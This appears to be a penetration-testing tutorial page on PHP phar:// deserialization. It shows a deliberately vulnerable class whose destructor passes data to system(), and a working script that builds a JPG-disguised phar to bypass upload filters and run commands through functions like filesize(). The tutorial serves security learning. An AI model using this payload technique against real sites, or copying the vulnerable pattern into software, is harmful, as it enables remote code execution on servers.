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phar:// deserialization

Phar files (PHP Archive) files contain meta data in serialized format, so, when parsed, this metadata is deserialized and you can try to abuse a deserialization vulnerability inside the PHP code.

The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize().

So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the phar:// protocol, and inside the code you find a class similar to the following one:

{% code title="vunl.php" %}

<?php
class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this->data = $data;
	}
	
	function __destruct() {
		system($this->data);
	}
}

filesize("phar://test.phar"); #The attacker can control this path

{% endcode %}

You can create a phar file that when loaded will abuse this class to execute arbitrary commands with something like:

{% code title="create_phar.php" %}

<?php

class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this->data = $data;
	}
	
	function __destruct() {
		system($this->data);
	}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

{% endcode %}

Note how the magic bytes of JPG (\xff\xd8\xff) are added at the beginning of the phar file to bypass possible file uploads restrictions.
Compile the test.phar file with:

php --define phar.readonly=0 create_phar.php

And execute the whoami command abusing the vulnerable code with:

php vuln.php

References

https://blog.ripstech.com/2018/new-php-exploitation-technique/